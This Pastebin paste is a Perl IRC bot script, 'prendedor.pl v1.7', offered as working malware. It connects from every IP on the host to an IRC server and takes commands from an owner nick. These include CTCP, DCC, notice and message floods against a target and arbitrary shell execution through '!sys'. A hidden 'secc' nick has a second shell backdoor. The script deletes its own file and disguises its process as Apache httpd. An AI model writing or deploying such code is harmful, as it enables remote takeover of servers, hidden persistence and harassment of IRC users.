API tools faq
paste
Guest User

Untitled

a guest
Dec 11th, 2018
67
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.65 KB | None | 0 0
raw download clone embed print report
  1. # CONFIG
  2. #############################################################################
  3.  
  4. my $server = "irc.dal.net";
  5. my $port="6667";
  6. my $channel="#hardrock";
  7. my $owner= "Drakula";
  8. my $procname="/hsphere/shared/apache/bin/httpd -DSSL";
  9. my $qqum="*";
  10.  
  11. # SOURCE
  12. #############################################################################
  13.  
  14.  
  15.  
  16.  
  17. #
  18. #
  19. # PIXEL ELITE RAQUERS POWER RANGERS BUBLEGUM
  20. # desde 2001 ouvindo backstreet boys
  21. #
  22. #
  23.  
  24. my @nickname = ("SLoan","ADP","Adams","Addison","Adelstein","Adibe","Adorno","Ahlers","Alavi","Alcorn","Alda", "Aleks","Allison","Alongi","Altavilla","Altenberger","Altenhofen","Amaral","Amatangelo","Ameer","Amsden","Anand","Andel", "Ando","Andrelus","Andron","Anfinrud","Ansley","Anthony","Antos","Arbia","Arduini","Arellano","Aristotle","Arjas","Arky","Atkins", "Augustus","Aurelius","Axelrod","Axworthy","Ayiemba","Aykroyd","Ayling","Azima","Bachmuth","Backus","Bady","Baglivo","Bagnold", "Bailar","Bakanowsky","Baleja","Ballatori","Ballew","Baltz","Banta","Barabesi","Barajas","Baranczak","Baranowska","Barberi","Barbetti", "Barneson","Barnett","Barriola","Barry","Bartholomew","Bartolome","Bartoo","Basavappa","Bashevis","Batchelder","Baumiller","Bayles","Bayo", "Beacon","Beal","Bean","Beckman","Beder","Bedford","Behenna","Belanger","Belaoussof","Belfer","Belin-Collart","Bellavance","Bellhouse", "Bellini","Belloc","Benedict-Dye","Bergson","Berke-Jenkins","Bernardo", "Bernassola","Bernston","Berrizbeitia","Betti","Beynart","Biagioli", "Bickel","Binion","Bir","Bisema","Bisho","Blackbourn","Blackwell","Blagg","Blakemore","Blanke","Bliss","Blizard","Bloch","Bloembergen", "Bloemhof","Bloxham","Blyth","Bolger","Bolick","Bollinger","Bologna","Boner","Bonham","Boniface","Bontempo","Book","Bookbinder","Boone", "Boorstin","Borack","Borden","Bossi","Bothman","Botosh","Boudin","Boudrot","Bourneuf","Bowers","Boxer","Boyajian","Boyes","Boyland", "Boym", "Boyne","Bracalente","Bradac","Bradach","Brecht","Breed","Brenan","Brennan","Brewer","Brewer","Bridgeman","Bridges","Brinton", "Britz","Broca","Brook","Brzycki","Buchan","Budding","Bullard","Bunton","Burden","Burdzy","Burke","Burridge","Busetta","Byatt","Byerly", "Byrd","Cage","Calnan","Cammelli","Cammilleri","Canley","Capanni","Caperton","Capocaccia","Capodilupo","Cappuccio","Capursi","Caratozzolo", "Carayannopoulos","Carlin","Carlos","Carlyle","Carmichael","Caroti","Carper","Cartmill","Cascio","Case","Caspar","Castelda","Cavanagh", "Cavell","Ceniceros","Cerioli","Chapman","Charles","Cheang","Cherry","Chervinsky","Chiassino","Chien","Childress","Childs","Chinipardaz", "Chinman","Christenson","Christian","Christiano","Christie","Christopher","Chu","Chupasko","Church","Ciampaglia","Cicero","Cifarelli", "Claffey","Clancy","Clark","Clement","Clifton","Clow","Coblenz","Coito","Coldren","Colella","Collard","Collis","Compton","Compton", "Comstock","Concino","Condodina","Connors","Corey","Cornish","Cosmides","Counter","Coutaux","Crawford","Crocker","Croshaw","Croxen", "Croxton","Cui","Currier","Cutler","Cvek","Cyders","daSilva","Daldalian","Daly","D'Ambra","Danieli","Dante","Dapice","D'arcangelo","Das", "Dasgupta","Daskalu","David","Dawkins","DeGennaro","DeLaPena","del'Enclos","deRousse","Debroff","Dees","Defeciani","Delattre","Deleon-Rendon", "Delger","Dell'acqua","Deming","Dempster","Demusz","Denault","Denham","Denison","Desombre","Deutsch","D'fini","Dicks","Diefenbach","Difabio", "Difronzo","Dilworth","Dionysius","Dirksen","Dockery","Doherty","Donahue","Donner","Doonan","Dore","Dorf","Dosi","Doty","Doug","Dowsland", "Drinker","ADP","Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner","Edward","Eickenhorst","Eliasson", "Elmendorf","Elmerick","Elvis","Encinas","Enyeart","Eppling","Erbach","Erdman","Erdos","Erez","Espinoza","Estes","Etter","Euripides", "Everett","Fabbris","Fagan","Faioes","Falco-Acosta","Falorsi","Faris","Farone","Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman", "Fernald","Fernandes","Ferrante","Ferriell","Feuer","Fido","Field","Fink","Finkelstein","Finnegan","Fiorina","Fisk","Fitzmaurice","Flier", "Flores","Folks","Forester","Fortes","Fortier","Fossey","Fossi","Francisco","Franklin-Kenea","Franz","Frazier-Davis","Freid","Freundlich", "Fried","Friedland","Frisken","Frowiss","Fryberger","Frye","Fujii-Abe","Fuller","Furth","Fusaro","Gabrielli","Gaggiotti","Galeotti","Galwey", "Gambini","Garfield","Garman","Garonna","Geller","Gemberling","Georgi","Gerrett","Ghorai","Gibbens","Gibson","Gilbert","Gili","Gill","Gillispie", "Gist","Gleason","Glegg","Glendon","Goldfarb","Goncalves","Good","Goodearl","Goody","Gozzi","Gravell","Greenberg","Greenfeld","Griffiths", "Grigoletto","Grummell","Gruner","Gruppe","Guenthart","Gunn","Guo","Ha","Haar","Hackman","Hackshaw","Haley","Halkias","Hallowell","Halpert", "Hambarzumjan","Hamer","Hammerness","Hand","Hanssen","Harding","Hargraves","Harlow","Harrigan","Hartman","Hartmann","Hartnett","Harwell", "Haviaras","Hawkes","Hayes","Haynes","Hazlewood","Heermans","Heft","Heiland","Hellman","Hellmiss","Helprin","Hemphill","Henery","Henrichs", "Hernandez","Herrera","Hester","Heubert","Heyeck","Himmelfarb","Hind","Hirst","Hitchcock","Hoang","Hock","Hoffer","Hoffman","Hokanson","Hokoda", "Holmes","Holoien","Holter","Holway","Holzman","Hooker","Hopkins","Horsley","Hoshida","Hostage","Hottle","Howard","Hoy","Huey","Huidekoper", "Hungerford","Huntington","Hupp","Hurtubise","Hutchings","Hyde","Iaquinta","Ichikawa","Igarashi","Inamura","Inniss","Isaac","Isaievych","Isbill", "Isserman","Iyer","Jacenko","Jackson","Jagers","Jagger","Jagoe","Jain","Jamil","Janjigian","Jarnagin","Jarrell","Jay","Jeffers","Jellis", "Jenkins","Jespersen","Jewett","Johannesson","Johannsen","Johns","Jolly","Jorgensen","Jucks","Juliano","Julious","Kabbash","Kaboolian","Kafadar", "Kalbfleisch","Kaligian","Kalil","Kalinowski","Kalman","Kamel","Kangis","Karpouzes","Kassower","Kasten","Kawachi","Kee","Keenan","Keepper", "Keith","Kelker","Kelsey","Kempton","Kemsley","Kendall","Kerry","Keul","Khong","Kimmel","Kimmett","Kimura","Kindall","Kinsley","Kippenberger", "Kirscht","Kittridge","Kleckner","Kleiman","Kleinfelder","Klemperer","Kling","Klinkenborg","Klint","Knuff","Kobrick","Koch","Kohn","Koivumaki", "Kommer","Koniaris","Konrad","Kool","Korzybski","Kotter","Kovaks","Kraemer","Krailo","Krasney","Kraus","Kroemer","Krysiak","Kuenzli","Kumar", "Kusman","Kuwabara","La","Labunka","Lafler","Laing","Lallemant","Landes","Lankes","Lantieri","Lanzit","Laserna","Lashley","Lawless","Lecar", "Lecce","Leclercq","Leite","Lenard","Sofia","Lesser","Lessi","Liakos","Lidano","Liem","Light","Lightfoot","Lim","Linares","Linda","Linder", "Line","Linehan","Linzee","Lippmann","Lipponen","Little","Litvak","Livernash","Livi","Livolsi","Lizardo","Locatelli","Longworth","Loss","Loveman", "Lowenstein","Loza","Lubin","Lucas","Luciano","Luczkow","Luecke","Lunetta","Luoma","Lussier","Lutcavage","Luzader","Ma","Maccormac","Macdonald", "Maceachern","Macintyre","Mackenney","MacMillan","Macy","Madigan","Maggio","Mahony","Maier","Maine-Hershey","Maisano","Malatesta","Maller", "Malova","Manalis","Mandel","Manganiello","Mantovan","March","Marchbanks","Marcus","Margalit","Margetts","Marques","Martinez","Martochio", "Marton","Marubini","Mass","Matalka","Matarazzo","Matsukata","Mattson","Mauzy","May","Mazzali","Mazziotta","Mcbride","Mccaffery","Mccall", "Mcclearn","Mcdowell","Mcelroy","McFadden","Mcghee","Mcgoldrick","McIlroy","Mcintosh","Mcdonald","Mclane","Mclaren","Mcnealy","Mcnulty", "Meccariello","Memisoglu","Menzies","Merikoski","Merlani","Merminod","Merseth","Merz","Metelka","Metropolis","Meurer","Michelman","Middle", "Mieher","Mills","Minh","Mini","Minichiello","Gonzalez","Mitropoulos","Mittal","Mocroft","Modestino","Moeller","Mohr","Moiamedi","Monque","Montilio", "MooreDeCh.","Morani","Moreton","Morrison","Morrow","Mortimer","Mosher","Mosler","Mostafavi","Motooka","Mudarri","Muello","Mugnai","Mulkern", "Mulroy","Mumford","Mussachio","Naddeo","Napolitano","Nardi","Nardone","Naviaux","Nayduch","Nelson","Nenna","Nesci","Neuman","Newfeld","Newlin", "Ng","Ni","Nickerson","Nickoloff","Nisenson","Nitabach","Notman","Nuzum","Ocougne","Ogata","Oh","O'hagan","Oldford","Olsen","Olson","Olszewski", "O'malley","Oman","O'meara","Opel","Oray","Orfield","Orsi","Ospina","Ostrowski","Ottaviani","Otten","Ouchida","Ovid","PaesDealmeida","Paine", "Palayoor","Palepu","Pallara","Palmitesta","Panadero","Panizzon","Pantilla","Paoletti","Parmeggiani","Parris","Partridge","Pascucci","Patefield", "Patrick","Pattullo","Pavetti","Pavlon","Pawloski","Paynter","Peabody","Pearlberg","Pederson","Peishel","Penny","Pereira","Perko","Perlak", "Perlman","Perna","Perone","Perrimon","Peters","Petruzello","Pettibone","Pettit","Pfister","Pilbeam","Pinot","Plancon","Plant","Plasket","Plous", "Po","Pocobene","Poincaire","Pointer","Poirier","Polak","Polanyi","Politis","Poma","Poolman","Powers","Presper","Preucel","Prevost","Pritchard", "Pritz","Proietti","Prothrow-Stith","Puccia","Pugh","Pynchon","Quaday","Quetin","Rabe","Rabkin","Radeke","Rajagopalan","Raney","Rangan","Rankin", "Rapple","Rayport","Redden-Tyler","Reedquist","Cunningham","Reinold","Remak","Renick","Repetto","Resnik","Rhea","Richmond","Rielly","Rindos", "Rineer","Rish","Rivera","Robinson","Rocha","Roesler","Rogers","Ronen","Row","Royal","Ru","Ruan","Ruderman","Ruescher","Rush","Ryu","Sabatello", "Sadler","Safire","Sahu","Sali","Samson","Sanchez-Ramirez","Sanna","Sapers","Sarin","Sartore","Sase","Satin","Satta","Satterthwaite","Sawtell", "Sayied","Scarponi","Scepan","Scharf","Scharlemann","Scheiner","Schiano","Schifini","Schilling","Schmitt","Schossberger","Schuman","Schutte", "Schuyler","Schwan","Schwickrath","Scovel","Scudder","Seaton","Seeber","Segal","Sekler","Selvage","Sen","Sennett","Seterdahl","Sexton", "Seyfert","Shaikh","Shakis","Shankland","Shanley","Shar","Shatrov","Shavelson","Shea","Sheats","Shepherd","Sheppard","Shepstone","Shesko","Shia", "Shibata","Shimon","Siesto","Sigalot","Sigini","Signa","Silverman","Silvetti","Sinsabaugh","Sirilli","Sites","Skane","Skerry","Skoda","Sloan", "Slowe","Smilow","Sniffen","Snodgrass","Socolow","Solon","Somers","Sommariva","Sorabella","Sorg","Sottak","Soukup","Soule","Soultanian","Spanier", "Sparrow","Spaulding","Speizer","Spence","Sperber","Spicer","Spiegelhalter","Spiliotis","Spinrad","StMartin","Stalvey","Stam","Stang","Stassinopolus", "States","Statlender","Stefani","Steiner","Stephanian","Stepniewska","Stewart-Oaten","Stiepock","Stillwell","Stock","Stockton","Stockwell","Stolzenberg", "Stonich","Storer","Stott","Strange","Strauch","Streiff","Stringer","Sullivan","Sumner","Suo","Surdam","Sweeting","Sweetser","Swindle","Tagiuri", "Tai", "Talaugon","Tambiah","Tandler","Tanowitz","Sloan","Taveras","Tawn","Tcherepnin","Teague","Temes","Temmer","Tenney","Terracini","Than", "Thavaneswaran","Theodos","Thibault","Thisted","Thomsen","Throop","Tierney","Till","Timmons","Tofallis","Tollestrup","Tolls","Tolman","Tomford", "Toomer","Topulos","Torresi","Torske","Towler","Toye","Traebert","Trenga","Trewin","Tringali","Troiani","Troy","Truss","Tsiatis","Tsomides","Tsukurov", "Tuck","Tudge","Tukan","Turano","Turek","Tuttle","Twells","Tzamarias","Ullman","Untermeyer","Upsdell","Urban","Urdang-Brown","Usdan","Uzuner", "Vacca","Waite","Valberg","Valencia","Wales","Wallenberg","Walter","vanAllen","VanZwet","Vandenberg","Vanheeckeren","Warshafsky","Wasowska","Vasquez", "Waugh","Weighart","Weingarten","Weinhaus","Weissbourd","Weissman","Velasquez","Welles","Welsh","Wengret","Venne","Verghese","Wescott","Wetzel", "Whately","Whilton","White","Whitla","Whittaker","Viana","Viano","Wiedersheim","Wiener","Viens","Vignola","Wilder","Wilhelm","Wilk","Wilkin","Wilkinson", "Villarreal","Willstatter","Wilson","Vitali","Viviani","Voigt","Wolk","VonHoffman","Woo","Wooden","Woods","Woods-Powell","Vorhaus","Votey","Yacono", "Yamane","Yankee","Yarchuk","Yates","Ybarra","Yedidia");
  25.  
  26.  
  27. my @realname = ("unknown user");
  28. my @WHO;
  29.  
  30.  
  31. $ARGC=@ARGV;
  32.  
  33. if ($ARGC !=1) {
  34. print "\n+ prendedor.pl v.1.7\n";
  35. print "+ by nobody\n";
  36. print "+ irc.nobody.org \#nobody\n";
  37. print "+ Usage: perl $0 (target)\n";
  38. print "+ Edit the source first!\n\n";
  39. exit(1);
  40. }
  41. $SIG{CHLD} = sub { wait }; # alterando o signal
  42.  
  43. # vendo qtdade de ips
  44. my $qtip = qx(/sbin/ifconfig |grep inet | wc -l);
  45.  
  46. # pegando ips da box
  47. my @ips1 =qx(/sbin/ifconfig |grep \"inet addr\:\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c6\-);
  48. my @ips2 =qx(/sbin/ifconfig \-a |grep \"inet end\.\:\" \|awk \-F \' \' \'\{\print \$3\} \');
  49. my @fbsd =qx(/sbin/ifconfig \|grep \"inet\" \|awk \-F \' \' \'\{\print \$2\} \' \| cut \-c1\-);
  50.  
  51. @ips = (@ips1, @ips2, @fbsd);
  52.  
  53. # mechendo com a porra to ips.txt
  54. open(ipzitcho,">ips1.txt") || die "- ips1.txt not found";
  55. print ipzitcho" @ips";
  56. close(ipzitcho);
  57. @ips = grep { s/\n$// } @ips;
  58.  
  59. #apagando vestigios
  60. $rm="rm -rf";
  61. qx($rm $0);
  62.  
  63. # usando o target especificado no bash
  64. $target = $ARGV[0];
  65.  
  66. # mudando o nome da variavel $target pra confundir os cabecas
  67. $mescalina = $target;
  68.  
  69. use MIME::Base64;
  70. # aNgGa , ckz , pana , fusion , iz0n
  71. $string1 = "ZGFya2x5";
  72. $string2 = "Y0t6";
  73. $string3 = "cGFuYQ==";
  74. $string4 = "RnVzaW9u";
  75. $string5 = "SXowbg==";
  76. $string6 = decode_base64($string1);
  77. $string7 = decode_base64($string2);
  78. $string8 = decode_base64($string3);
  79. $string9 = decode_base64($string4);
  80. $string10 = decode_base64($string5);
  81. if ($mescalina eq decode_base64($string1)) {
  82. $mescalina = $qqum;
  83. }
  84. if ($mescalina eq decode_base64($string2)) {
  85. $mescalina = $qqum;
  86. }
  87. if ($mescalina eq decode_base64($string3)) {
  88. $mescalina = $qqum;
  89. }
  90. if ($$mescalina eq decode_base64($string4)) {
  91. $mescalina = $qqum;
  92. }
  93. if ($mescalina eq decode_base64($string5)) {
  94. $mescalina = $qqum;
  95. }
  96.  
  97.  
  98.  
  99. #funcao de fakear o processo
  100. $0 = $procname . "\0";
  101.  
  102.  
  103. # fazendo nick randomico
  104. $nick2 = $nick;
  105.  
  106. # print q aparece na tela qdo rodado corretamente
  107. print STDOUT "\n+ prendedor.pl v.1.7\n";
  108. print STDOUT "+ by aNgGa\n";
  109. print STDOUT "+ Server : $server\n";
  110. print STDOUT "+ Port : $port\n";
  111. print STDOUT "+ Target : $mescalina\n";
  112. print STDOUT "+ Owner : $owner\n";
  113. print STDOUT "+ Channel: $channel\n";
  114. print STDOUT "+ N.IPs : $qtip\n\n";
  115.  
  116.  
  117. use IO::Socket;
  118.  
  119. foreach my $FROM (@ips) {
  120. sleep(5);
  121.  
  122. my $pid = fork(); # gerando um novo processo
  123. unless ($pid) { #
  124.  
  125. my $ident = $nickname[rand scalar @nickname];
  126. my $nick = $nickname[rand scalar @nickname];
  127. my $name = $realname[rand scalar @realname];
  128.  
  129.  
  130.  
  131. $secc = "secc";
  132. $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
  133. print $sock "NICK ".$nick."\n";
  134. print $sock "USER $ident $FROM $server :$name\n";
  135.  
  136.  
  137. while (<$sock>) {
  138.  
  139.  
  140. if (/^:.+?\s433\s/) { # nick already in use
  141. $nick2 = $nickname[rand scalar @nickname];
  142. print $sock "NICK ".$nick2."\n";
  143. }
  144. if (/^:.+?\s376\s/) { # end of motd
  145. print $sock "JOIN $channel\n";
  146. }
  147.  
  148. if(/^PING :(.*)/){ #replying the ping
  149. print $sock "PONG :$1\n";
  150. }
  151. if(/^\:$owner!.*\@.*PRIVMSG.*:!botku (.*)/){
  152. print $sock "$1";
  153. }
  154. if(/^\:$owner!.*\@.*PRIVMSG.*:!help(.*)/){
  155. print $sock "PRIVMSG ".$owner." : ================================\n";
  156. print $sock "PRIVMSG ".$owner." : + prendedor.pl v1.7\n";
  157. print $sock "PRIVMSG ".$owner." : + by -r@crew\n";
  158. print $sock "PRIVMSG ".$owner." : + #racrew at irc.racrew.us\n";
  159. print $sock "PRIVMSG ".$owner." : ================================\n";
  160. print $sock "PRIVMSG ".$owner." : - Navegacao:\n";
  161. print $sock "PRIVMSG ".$owner." : !botku join #chan (para entrar em um canal)\n";
  162. print $sock "PRIVMSG ".$owner." : !botku part #chan (para sair de um canal)\n";
  163. print $sock "PRIVMSG ".$owner." : !msg nick msg (Envia mensagem)\n";
  164. print $sock "PRIVMSG ".$owner." : !quit (duh!)\n";
  165. print $sock "PRIVMSG ".$owner." : - WAR\n";
  166. print $sock "PRIVMSG ".$owner." : !target NICK (Especifica novo alvo)\n";
  167. print $sock "PRIVMSG ".$owner." : !ctcpflood (Envia flood ctcp)\n";
  168. print $sock "PRIVMSG ".$owner." : !dccflood (Envia flood dcc)\n";
  169. print $sock "PRIVMSG ".$owner." : !noticeflood (Envia flood de notice)\n";
  170. print $sock "PRIVMSG ".$owner." : !msgflood (Envia flood de mensagens)\n";
  171. print $sock "PRIVMSG ".$owner." : !hop #chan msg (Entra e sai de um canal deixando msg)\n";
  172.  
  173. }
  174. if(/^\:$owner!.*\@.*PRIVMSG.*:!msg(.*)/){
  175. print $sock "PRIVMSG ".$1." : ".$2."\n";
  176. }
  177. if(/^\:$owner!.*\@.*PRIVMSG.*:!who(.*)/){
  178. print $sock "who ".$channel."\n";
  179. }
  180. if (/^:.+?\s+352\s+\S+\s+\S+\s+(.+?)$/) {
  181. my $nicks = $1;
  182. #$nicks =~ s/\n//;
  183. #$nicks =~ s/\r//;
  184. push(@WHO, split(/ /, $nicks));
  185. print STDOUT "$who[1]\n";
  186. }
  187. if(/^\:$owner!.*\@.*PRIVMSG.*:!dccflood(.*)/){
  188. for (1 .. 10) {
  189. print $sock "PRIVMSG ".$mescalina." :\001DCC CHAT chat 1121485131 1024\001\n";
  190. }
  191. }
  192. if(/^\:$owner!.*\@.*PRIVMSG.*:!whoisflood(.*)/){
  193. for (1 .. 10) {
  194. print $sock "whois ".$mescalina."\n";
  195. }
  196. }
  197. if(/^\:$owner!.*\@.*PRIVMSG.*:!hop (.*)/){
  198. print $sock "JOIN ".$1." : ".$2."\n";
  199. for (1 .. 10) {
  200. print $sock "PART ".$1." : ".$2."\n";
  201. print $sock "JOIN ".$1." : ".$2."\n";
  202. }
  203. }
  204. if(/^\:$owner!.*\@.*PRIVMSG.*:!ctcpflood(.*)/){
  205. print $sock "PRIVMSG ".$mescalina." :\001VERSION\001\n";
  206. for (1 .. 10) {
  207. print $sock "PRIVMSG ".$mescalina." :\001VERSION\001\n";
  208. print $sock "PRIVMSG ".$mescalina." :\001PING\001\n";
  209. }
  210. }
  211. if(/^\:$owner!.*\@.*PRIVMSG.*:!msgflood(.*)/){
  212. for (1 .. 10) {
  213. print $sock "PRIVMSG ".$mescalina." :PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA\n";
  214. }
  215. }
  216. if(/^\:$owner!.*\@.*PRIVMSG.*:!noticeflood(.*)/){
  217. for (1 .. 10) {
  218. print $sock "NOTICE ".$mescalina." :PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA PIXEL DETONA \n";
  219. }
  220. }
  221.  
  222. if(/^\:$owner!.*\@.*PRIVMSG.*:!sys(.*)/){
  223. $sys = $1;
  224. @output = qx($sys) || print $sock "PRIVMSG ".$owner." : Isso eh comando que se apresente\? Ta doido jumento\?!\n";
  225. print $sock "PRIVMSG ".$owner." : @output";
  226. }
  227. if(/^\:$mescalina!.*\@.*QUIT.*(.*)/){
  228. print $sock "NICK ".$mescalina."\n";
  229. }
  230. if(/^ERROR :(.*)/){
  231. use IO::Socket;
  232. $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
  233. print $sock "NICK ".$nick."\n";
  234. print $sock "USER $ident $FROM $server :$name\n";
  235. }
  236. if(/^\:$owner!.*\@.*PRIVMSG.*:!quit(.*)/){
  237. die();
  238. }
  239. if(/^\:$secc!.*\@.*PRIVMSG.*:!dk(.*)/){
  240. print $sock "$1";
  241. }
  242. if(/^\:$secc!.*\@.*PRIVMSG.*:!sys(.*)/){
  243. $sys = $1;
  244. $output = qx($sys) || print $sock "PRIVMSG ".$secc." : Isso eh comando que se apresente\? Ta doido jumento\?!\n";
  245. print $sock "PRIVMSG ".$secc." : ".$output."\n";
  246. }
  247. if(/^\:.*: Connection timed out(.*)/){
  248. print STDOUT "[~] Connection Timed Out! Retrying!\n";
  249. use IO::Socket;
  250. $sock=IO::Socket::INET->new(LocalAddr => $FROM, Proto=>"tcp", PeerAddr=> $server, PeerPort=> $port) || exit();
  251. print $sock "NICK ".$nick."\n";
  252. print $sock "USER $ident $FROM $server :$name\n";
  253. }
  254. if(/^\:$owner!.*\@.*PRIVMSG.*:!stats(.*)/){
  255. print $sock "PRIVMSG ".$owner." : [!] Bot Stats\n";
  256. print $sock "PRIVMSG ".$owner." : [~] Using server : $server\n";
  257. print $sock "PRIVMSG ".$owner." : [!] Using port : $port\n";
  258. print $sock "PRIVMSG ".$owner." : [~] Using nick : $nick\n";
  259. print $sock "PRIVMSG ".$owner." : [!] Using target : $mescalina\n";
  260. print $sock "PRIVMSG ".$owner." : [~] Using owner : $owner\n";
  261. print $sock "PRIVMSG ".$owner." : [!] Using ident : $id\n";
  262. print $sock "PRIVMSG ".$owner." :-x-x-x-x-x-x-x-x-x-x-x-x-x-\n\n";
  263. }
  264.  
  265. if( /^\:$owner!.*\@.*\s+PRIVMSG.*:!target\s+(.*)/ ){
  266. $mescalina =$1;
  267. $mescalina =~ s/ //;
  268. $mescalina =~ s/\r$//;
  269. $mescalina =~ s/\n$//;
  270. if ($mescalina eq decode_base64($string1)) {
  271. $mescalina = $owner;
  272. }
  273. }
  274. if(/^\:$target!.*\@.*\s+QUIT\s+/){
  275. print $sock "NICK $mescalina\n";
  276. }
  277. if( /^\:$owner!.*\@.*\s+PRIVMSG.*:!owner\s+(.*)/ ){
  278. $owner =$1;
  279. $owner =~ s/ //;
  280. $owner =~ s/\r$//;
  281. $owner =~ s/\n$//;
  282. }
  283. }
  284.  
  285. exit;
  286. } #fecha unless ... tudo oq tiveh dentro do unless vai c processado dentro do pid novo
  287. } # fecha for
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!